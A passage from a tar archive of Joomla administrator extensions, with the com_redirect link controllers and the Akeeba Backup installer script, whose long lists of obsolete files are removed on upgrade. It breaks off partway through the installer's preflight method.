				if (!\Joomla\String\StringHelper::strpos($batch_urls_line, $separator))
				{
					$this->setMessage(JText::sprintf('COM_REDIRECT_NO_SEPARATOR_FOUND', $separator), 'error');
					$this->setRedirect('index.php?option=com_redirect&view=links');

					return false;
				}

				$batch_urls[] = array_map('trim', explode($separator, $batch_urls_line));
			}
		}

		// Set default message on error - overwrite if successful
		$this->setMessage(JText::_('COM_REDIRECT_NO_ITEM_ADDED'), 'error');

		if (!empty($batch_urls))
		{
			$model = $this->getModel('Links');

			// Execute the batch process
			if ($model->batchProcess($batch_urls))
			{
				$this->setMessage(JText::plural('COM_REDIRECT_N_LINKS_ADDED', count($batch_urls)));
			}
		}

		$this->setRedirect('index.php?option=com_redirect&view=links');
	}

	/**
	 * Clean out the unpublished links.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function purge()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel('Links');

		if ($model->purge())
		{
			$message = JText::_('COM_REDIRECT_CLEAR_SUCCESS');
		}
		else
		{
			$message = JText::_('COM_REDIRECT_CLEAR_FAIL');
		}

		$this->setRedirect('index.php?option=com_redirect&view=links', $message);
	}
}
com_redirect/controllers/link.php000060400000000703152455305260013222 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Redirect link controller class.
 *
 * @since  1.6
 */
class RedirectControllerLink extends JControllerForm
{
	// Parent class access checks are sufficient for this controller.
}
com_akeeba/script.com_akeeba.php000060400000156732152455305260012715 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container as FOFContainer;
use Joomla\CMS\Installer\Adapter\ComponentAdapter;

defined('_JEXEC') or die();

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class Com_AkeebaInstallerScript extends \FOF40\InstallScript\Component
{
	/**
	 * The component's name
	 *
	 * @var   string
	 */
	public $componentName = 'com_akeeba';

	/**
	 * The title of the component (printed on installation and uninstallation messages)
	 *
	 * @var string
	 */
	protected $componentTitle = 'Akeeba Backup';

	/**
	 * The minimum PHP version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumPHPVersion = '7.2.0';

	/**
	 * The minimum Joomla! version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumJoomlaVersion = '3.9.0';

	/**
	 * The list of obsolete extra modules and plugins to uninstall on component upgrade / installation.
	 *
	 * @var array
	 */
	protected $uninstallation_queue = [
		// modules => { (folder) => { (module) }* }*
		'modules' => [
			'admin' => [
				'mod_akadmin',
			],
			'site'  => [],
		],
		// plugins => { (folder) => { (element) }* }*
		'plugins' => [
			'system' => [
				'aklazy',
				'srp',
			],
		],
	];

	protected $containerBroken = false;

	/**
	 * Obsolete files and folders to remove from the free version only. This is used when you move a feature from the
	 * free version of your extension to its paid version. If you don't have such a distinction you can ignore this.
	 *
	 * @var   array
	 */
	protected $removeFilesFree = [
		'files'   => [
			// Pro component features
			'administrator/components/com_akeeba/BackupEngine/Archiver/Directftp.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directftp.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directftp.json',
			'administrator/components/com_akeeba/BackupEngine/Archiver/Directftpcurl.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directftpcurl.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directftpcurl.json',
			'administrator/components/com_akeeba/BackupEngine/Archiver/Directsftp.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directsftp.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directsftp.json',
			'administrator/components/com_akeeba/BackupEngine/Archiver/Directsftpcurl.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directsftpcurl.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/directsftpcurl.json',
			'administrator/components/com_akeeba/BackupEngine/Archiver/Jps.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/jps.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/jps.json',
			'administrator/components/com_akeeba/BackupEngine/Archiver/Zipnative.php',
			'administrator/components/com_akeeba/BackupEngine/Archiver/zipnative.ini',
			'administrator/components/com_akeeba/BackupEngine/Archiver/zipnative.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/amazons3.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/amazons3.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Amazons3.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/azure.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/azure.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Azure.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/backblaze.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/backblaze.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Backblaze.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/box.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/box.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Box.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/cloudfiles.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/cloudfiles.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Cloudfiles.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/cloudme.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/cloudme.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Cloudme.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dreamobjects.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dreamobjects.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Dreamobjects.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dropbox.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dropbox.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Dropbox.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dropbox2.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/dropbox2.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Dropbox2.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ftp.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ftp.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Ftp.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ftpcurl.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ftpcurl.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Ftpcurl.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googledrive.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googledrive.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Googledrive.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googlestorage.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googlestorage.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Googlestorage.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googlestoragejson.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/googlestoragejson.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Googlestoragejson.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/idrivesync.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/idrivesync.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Idrivesync.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/onedrive.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/onedrive.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Onedrive.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/onedrivebusiness.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/onedrivebusiness.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Onedrivebusiness.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ovh.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/ovh.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Ovh.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/pcloud.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/pcloud.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Pcloud.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/s3.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/s3.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/S3.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sftp.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sftp.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Sftp.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sftpcurl.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sftpcurl.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Sftpcurl.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sugarsync.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/sugarsync.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Sugarsync.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/swift.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/swift.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Swift.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/webdav.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/webdav.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Webdav.php',
			'administrator/components/com_akeeba/BackupEngine/Scan/large.ini',
			'administrator/components/com_akeeba/BackupEngine/Scan/large.json',
			'administrator/components/com_akeeba/BackupEngine/Scan/Large.php',

			'administrator/components/com_akeeba/Controller/Alice.php',
			'administrator/components/com_akeeba/Controller/Discover.php',
			'administrator/components/com_akeeba/Controller/IncludeFolders.php',
			'administrator/components/com_akeeba/Controller/MultipleDatabases.php',
			'administrator/components/com_akeeba/Controller/RegExDatabaseFilters.php',
			'administrator/components/com_akeeba/Controller/RegExFileFilters.php',
			'administrator/components/com_akeeba/Controller/RemoteFiles.php',
			'administrator/components/com_akeeba/Controller/Schedule.php',
			'administrator/components/com_akeeba/Controller/S3Import.php',
			'administrator/components/com_akeeba/Controller/Upload.php',

			'administrator/components/com_akeeba/Model/Alice.php',
			'administrator/components/com_akeeba/Model/Discover.php',
			'administrator/components/com_akeeba/Model/IncludeFolders.php',
			'administrator/components/com_akeeba/Model/MultipleDatabases.php',
			'administrator/components/com_akeeba/Model/RegExDatabaseFilters.php',
			'administrator/components/com_akeeba/Model/RegExFileFilters.php',
			'administrator/components/com_akeeba/Model/RemoteFiles.php',
			'administrator/components/com_akeeba/Model/Schedule.php',
			'administrator/components/com_akeeba/Model/S3Import.php',
			'administrator/components/com_akeeba/Model/Upload.php',

			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Components.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Extensiondirs.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Extensionfiles.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Languages.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Modules.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Plugins.php',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Templates.php',

			// Additional ANGIE installers which are not used in Core
			'administrator/components/com_akeeba/Master/Installers/abi.ini',
			'administrator/components/com_akeeba/Master/Installers/abi.jpa',
			'administrator/components/com_akeeba/Master/Installers/angie-generic.ini',
			'administrator/components/com_akeeba/Master/Installers/angie-generic.jpa',

			// PostgreSQL and MS SQL Server support
			'administrator/components/com_akeeba/BackupEngine/Driver/Pgsql.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Postgresql.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Sqlazure.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Sqlsrv.php',

			'administrator/components/com_akeeba/BackupEngine/Driver/Query/Pgsql.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Query/Postgresql.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Query/Sqlazure.php',
			'administrator/components/com_akeeba/BackupEngine/Driver/Query/Sqlsrv.php',

			'administrator/components/com_akeeba/BackupEngine/Dump/reverse.json',
			'administrator/components/com_akeeba/BackupEngine/Dump/Reverse.php',
			'administrator/components/com_akeeba/BackupEngine/Dump/Native/Postgresql.php',
			'administrator/components/com_akeeba/BackupEngine/Dump/Native/Sqlsrv.php',

			'administrator/components/com_akeeba/sql/xml/postgresql.xml',
			'administrator/components/com_akeeba/sql/xml/sqlsrv.xml',

			// Version 7
			// -- Integrated restoration
			'administrator/components/com_akeeba/Controller/Restore.php',
			'administrator/components/com_akeeba/Model/Restore.php',
			'administrator/components/com_akeeba/restore.php',
			'media/com_akeeba/js/Restore.min.js',
			'media/com_akeeba/js/Restore.js',

			// -- Site Transfer Wizard
			'administrator/components/com_akeeba/Controller/Transfer.php',
			'administrator/components/com_akeeba/Model/Transfer.php',
			'media/com_akeeba/js/Transfer.min.js',
			'media/com_akeeba/js/Transfer.js',

			// -- other non-Core JS
			'media/com_akeeba/js/IncludeFolders.min.js',
			'media/com_akeeba/js/IncludeFolders.js',
			'media/com_akeeba/js/MultipleDatabases.min.js',
			'media/com_akeeba/js/MultipleDatabases.js',
			'media/com_akeeba/js/RegExDatabaseFilters.min.js',
			'media/com_akeeba/js/RegExDatabaseFilters.js',
			'media/com_akeeba/js/RegExFileFilters.min.js',
			'media/com_akeeba/js/RegExFileFilters.js',
			'media/com_akeeba/js/RegExFileFilters.min.js',
			'media/com_akeeba/js/RegExFileFilters.js',

			// Pro features of the Console plugin
			'administrator/components/com_akeeba/CliCommands/BackupFetch.php',
			'administrator/components/com_akeeba/CliCommands/BackupTake.php',
			'administrator/components/com_akeeba/CliCommands/BackupUpload.php',
			'administrator/components/com_akeeba/CliCommands/FilterIncludeDatabase.php',
			'administrator/components/com_akeeba/CliCommands/FilterIncludeDirectory.php',

			// Version 8
			// -- Older CSS and JS files
			'media/com_akeeba/css/akeebaui.min.css',
			'media/com_akeeba/css/akeebaui.min.css.map',
			'media/com_akeeba/css/dark.min.css',
			'media/com_akeeba/css/dark.min.css.map',
		],
		'folders' => [
			// Pro component features
			'administrator/components/com_akeeba/Alice',

			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro',

			'administrator/components/com_akeeba/View/Alice',
			'administrator/components/com_akeeba/View/Discover',
			'administrator/components/com_akeeba/View/IncludeFolders',
			'administrator/components/com_akeeba/View/MultipleDatabases',
			'administrator/components/com_akeeba/View/RegExDatabaseFilters',
			'administrator/components/com_akeeba/View/RegExFileFilter',
			'administrator/components/com_akeeba/View/RemoteFiles',
			'administrator/components/com_akeeba/View/Schedule',
			'administrator/components/com_akeeba/View/S3Import',
			'administrator/components/com_akeeba/View/Upload',

			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector',

			// PostgreSQL and MS SQL Server support
			'administrator/components/com_akeeba/BackupEngine/Dump/Reverse',

			// Version 7
			// -- Integrated restoration
			'administrator/components/com_akeeba/View/Restore',

			// -- Site Transfer Wizard
			'administrator/components/com_akeeba/View/Transfer',

			// -- JSON API, legacy backup feature, failed backup checks
			'components/com_akeeba/Controller',
			'components/com_akeeba/Model',

			// -- Archive integrity check
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Finalization',

		],
	];

	/**
	 * Obsolete files and folders to remove from both paid and free releases. This is used when you refactor code and
	 * some files inevitably become obsolete and need to be removed.
	 *
	 * @var   array
	 */
	protected $removeFilesAllVersions = [
		'files'   => [
			// Outdated CLI scripts
			'cli/akeeba-update.php',

			// Outdated media files
			'media/com_akeeba/icons/akeeba-48.png',
			'media/com_akeeba/icons/akeeba-warning-48.png',
			'media/com_akeeba/icons/arrow_small.png',
			'media/com_akeeba/icons/error_small.png',
			'media/com_akeeba/icons/ok_small.png',
			'media/com_akeeba/icons/reload.png',
			'media/com_akeeba/icons/scheduling-32.png',
			'media/com_akeeba/icons/update.png',

			'media/com_akeeba/js/akeebajq.js',
			'media/com_akeeba/js/akeebajqui.js',
			'media/com_akeeba/js/akeebaui.js',
			'media/com_akeeba/js/akeebauipro.js',
			'media/com_akeeba/js/alice.js',
			'media/com_akeeba/js/backup.js',
			'media/com_akeeba/js/configuration.js',
			'media/com_akeeba/js/confwiz.js',
			'media/com_akeeba/js/dbef.js',
			'media/com_akeeba/js/eff.js',
			'media/com_akeeba/js/encryption.js',
			'media/com_akeeba/js/fsfilter.js',
			'media/com_akeeba/js/gui-helpers.js',
			'media/com_akeeba/js/jquery.js',
			'media/com_akeeba/js/jquery-ui.js',
			'media/com_akeeba/js/multidb.js',
			'media/com_akeeba/js/regexdbfilter.js',
			'media/com_akeeba/js/regexfsfilter.js',
			'media/com_akeeba/js/restore.js',
			'media/com_akeeba/js/stepper.js',
			'media/com_akeeba/js/system.js',
			'media/com_akeeba/js/transfer.js',

			// Old CLI backup scripts, obsolete since 3.5.0, removed in 4.0.0
			'administrator/components/com_akeeba/backup.php',
			'administrator/components/com_akeeba/altbackup.php',

			// Files used in version 4.2, but before 5.0
			// -- Back-end
			'administrator/components/com_akeeba/dispatcher.php',
			'administrator/components/com_akeeba/toolbar.php',

			// -- Front-end
			'components/com_akeeba/dispatcher.php',

			// Integrity check (obsolete)
			'administrator/components/com_akeeba/fileslist.php',

			// Dropbox v1 integration
			'administrator/components/com_akeeba/BackupEngine/Postproc/dropbox.ini',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Dropbox.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector/Dropbox.php',

			// Obsolete Azure files
			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector/Azure/Credentials/Sharedsignature.php',

			// Obsolete AES-128 CTR implementation in Javascript
			'media/com_akeeba/js/Encryption.min.js',
			'media/com_akeeba/js/Encryption.min.map',

			// PHP 7.2 compatibility
			'administrator/components/com_akeeba/BackupEngine/Base/Object.php',

			// Obsolete media files
			'media/com_akeeba/icons/akeeba-ui-32.png',
			'media/com_akeeba/changelog.png',

			// Old FOF 3 XML manifest files
			'libraries/fof30/lib_fof30.xml',
			'administrator/manifests/libraries/lib_fof30.xml',

			// Migration of Akeeba Engine to JSON format
			"administrator/components/com_akeeba/BackupEngine/Dump/native.ini",
			"administrator/components/com_akeeba/BackupEngine/Dump/reverse.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/none.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/webdav.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/sugarsync.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/email.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/box.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/dropbox2.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/ovh.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/cloudme.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/idrivesync.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/ftpcurl.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/dreamobjects.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/azure.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/sftp.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/amazons3.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/cloudfiles.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/googlestorage.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/googlestoragejson.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/swift.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/sftpcurl.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/onedrive.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/googledrive.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/backblaze.ini",
			"administrator/components/com_akeeba/BackupEngine/Postproc/ftp.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/zipnative.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/directftp.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/directsftpcurl.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/zip.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/directftpcurl.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/directsftp.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/jps.ini",
			"administrator/components/com_akeeba/BackupEngine/Archiver/jpa.ini",
			"administrator/components/com_akeeba/BackupEngine/Scan/smart.ini",
			"administrator/components/com_akeeba/BackupEngine/Scan/large.ini",
			"administrator/components/com_akeeba/BackupEngine/Filter/Stack/dateconditional.ini",
			"administrator/components/com_akeeba/BackupEngine/Filter/Stack/errorlogs.ini",
			"administrator/components/com_akeeba/BackupEngine/Filter/Stack/hoststats.ini",
			"administrator/components/com_akeeba/BackupEngine/Core/04.quota.ini",
			"administrator/components/com_akeeba/BackupEngine/Core/02.advanced.ini",
			"administrator/components/com_akeeba/BackupEngine/Core/01.basic.ini",
			"administrator/components/com_akeeba/BackupEngine/Core/scripting.ini",
			"administrator/components/com_akeeba/BackupEngine/Core/05.tuning.ini",

			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/02.advanced.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/04.quota.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/02.advanced.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/01.basic.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/02.platform.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/03.filters.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Config/Pro/05.tuning.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/finder.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/myjoomla.ini",
			"administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/actionlogs.ini",

			// Obsolete eAccelerator warning
			"administrator/components/com_akeeba/View/eaccelerator.php",

			// Engine 7
			'administrator/components/com_akeeba/BackupEngine/Base/BaseObject.php',

			// ALICE refactoring
			'media/com_akeeba/js/Alice.js',
			'media/com_akeeba/js/Alice.min.js',
			'media/com_akeeba/js/Stepper.js',
			'media/com_akeeba/js/Stepper.min.js',

			// Version 7 -- Remove non-RAW encapsulation
			"components/com_akeeba/Model/Json/Encapsulation/AesCbc128.php",
			"components/com_akeeba/Model/Json/Encapsulation/AesCbc256.php",
			"components/com_akeeba/Model/Json/Encapsulation/AesCtr128.php",
			"components/com_akeeba/Model/Json/Encapsulation/AesCtr256.php",

			// Optimize JavaScript support
			"administrator/components/com_akeeba/Helper/JsBundler.php",

			// Obsolete cacert.pem in the Engine
			"administrator/components/com_akeeba/BackupEngine/cacert.pem",

			// Workaround for CloudFlare RocketLoader. No longer needed, our JS is being loaded deferred anyway.
			"administrator/components/com_akeeba/Dispatcher/after_render.php",

			// Moving to FEF 2
			"media/com_akeeba/js/Ajax.min.js",
			"media/com_akeeba/js/Ajax.min.map",
			"media/com_akeeba/js/Modal.min.js",
			"media/com_akeeba/js/Modal.min.map",
			"media/com_akeeba/js/System.min.js",
			"media/com_akeeba/js/System.min.map",
			"media/com_akeeba/js/Tooltip.min.js",
			"media/com_akeeba/js/Tooltip.min.map",

			// Obsolete plugin file
			'plugins/console/akeebabackup.xml',

			// Remove “Archive integrity check” feature
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Finalization',

			// Remove PieCon.js
			'media/com_akeeba/js/piecon.min.js',
			'media/com_akeeba/js/piecon.min.map',

			// Remove obsolete common PHP version warnings
			'administrator/components/com_akeeba/tmpl/CommonTemplates/phpversion_warning.php',
			'administrator/components/com_akeeba/tmpl/CommonTemplates/wrongphp.php',

			// Remove pCloud
			'administrator/components/com_akeeba/BackupEngine/Postproc/pcloud.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Pcloud.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector/Pcloud.php',

			// Remove iDriveSync — the service has been discontinued
			'administrator/components/com_akeeba/BackupEngine/Postproc/idrivesync.json',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Idrivesync.php',
			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector/Idrivesync.php',

			// Legacy filters
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/myjoomla.json',
			'administrator/components/com_akeeba/BackupPlatform/Joomla3x/Filter/Stack/StackMyjoomla.php',

		],
		'folders' => [
			// Directories used up to version 4.1 (inclusive)
			// -- Back-end
			'administrator/components/com_akeeba/akeeba',
			'administrator/components/com_akeeba/plugins',
			// -- Front-end
			'components/com_akeeba/views',

			// Directories used in version 4.2, but before 5.0
			// -- Back-end
			'administrator/components/com_akeeba/alice',
			'administrator/components/com_akeeba/assets',
			'administrator/components/com_akeeba/controllers',
			'administrator/components/com_akeeba/engine',
			'administrator/components/com_akeeba/helpers',
			'administrator/components/com_akeeba/models',
			'administrator/components/com_akeeba/platform',
			'administrator/components/com_akeeba/tables',
			'administrator/components/com_akeeba/views',
			// -- Front-end
			'components/com_akeeba/controllers',
			'components/com_akeeba/models',

			// Outdated media directories
			'media/com_akeeba/theme',

			// Dropbox v1 integration
			'administrator/components/com_akeeba/BackupEngine/Postproc/Connector/Dropbox',

			// Common tables (they're installed by FOF)
			'administrator/components/com_akeeba/sql/common',

			// ALICE refactoring
			"administrator/components/com_akeeba/AliceEngine",

			// Convert views to Blade
			"administrator/components/com_akeeba/View/Alice/tmpl",
			"administrator/components/com_akeeba/View/Backup/tmpl",
			"administrator/components/com_akeeba/View/Browser/tmpl",
			"administrator/components/com_akeeba/View/CommonTemplates",
			"administrator/components/com_akeeba/View/Configuration/tmpl",
			"administrator/components/com_akeeba/View/ConfigurationWizard/tmpl",
			"administrator/components/com_akeeba/View/ControlPanel/tmpl",
			"administrator/components/com_akeeba/View/DatabaseFilters/tmpl",
			"administrator/components/com_akeeba/View/Discover/tmpl",
			"administrator/components/com_akeeba/View/FileFilters/tmpl",
			"administrator/components/com_akeeba/View/IncludeFolders/tmpl",
			"administrator/components/com_akeeba/View/Log/tmpl",
			"administrator/components/com_akeeba/View/Manage/tmpl",
			"administrator/components/com_akeeba/View/MultipleDatabases/tmpl",
			"administrator/components/com_akeeba/View/Profiles/tmpl",
			"administrator/components/com_akeeba/View/RegExDatabaseFilters/tmpl",
			"administrator/components/com_akeeba/View/RegExFileFilter/tmpl",
			"administrator/components/com_akeeba/View/RemoteFiles/tmpl",
			"administrator/components/com_akeeba/View/Restore/tmpl",
			"administrator/components/com_akeeba/View/S3Import/tmpl",
			"administrator/components/com_akeeba/View/Schedule/tmpl",
			"administrator/components/com_akeeba/View/Transfer/tmpl",
			"administrator/components/com_akeeba/View/Upload/tmpl",

			// Base CLI script -- replaced with FOF
			'administrator/components/com_akeeba/Master/Cli',

			// 7.0.0 alpha base plugin
			'administrator/components/com_akeeba/Master/AkeebaPlugin',

			// Backup on Update view templates
			'plugins/system/backuponupdate/tmpl',

			// Changelog PNG images
			'media/com_akeeba/icons/changelog.png',

			// Rename ViewTemplates to tmpl
			'administrator/components/com_akeeba/ViewTemplates',
		],
	];

	/**
	 * @var string
	 */
	private $currentlyBeingInstalledCustomContainerFile;

	/**
	 * Runs on installation
	 *
	 * @param   JInstallerAdapterComponent  $parent  The parent object
	 *
	 * @return  void
	 */
	public function install($parent)
	{
		if (!defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			define('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH', 1);
		}
	}

	/**
	 * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to
	 * tell Joomla! if it should abort the installation.
	 *
	 * @param   string                      $type    Installation type (install, update, discover_install)
	 * @param   JInstallerAdapterComponent  $parent  Parent object
	 *
	 * @return  boolean  True to let the installation proceed, false to halt the installation
	 */
	public function preflight(string $type, ComponentAdapter $parent): bool
	{
		if ($type === 'uninstall')
		{
			return true;
		}

		$this->isPaid                                     = is_dir($parent->getParent()->getPath('source') . '/backend/AliceEngine');
		$this->currentlyBeingInstalledCustomContainerFile = $parent->getParent()->getPath('source') . '/backend/Container.php';

		$result = parent::preflight($type, $parent);

		if (!$result)
		{
			return $result;
		}

		// Kill the old custom container file. If the update fails, install a second time and be bloody done with it.
		$customContainerFile = JPATH_ADMINISTRATOR . '/components/com_akeeba/Container.php';
		if (!@unlink($customContainerFile) && @file_exists($customContainerFile))
		{
			\Joomla\CMS\Filesystem\File::delete($customContainerFile);
		}

		// Move the server key file from /akeeba or /engine to /BackupEngine
		$componentPath = JPATH_ADMINISTRATOR . '/components/com_akeeba';
		$fromFile      = $componentPath . '/akeeba/serverkey.php';
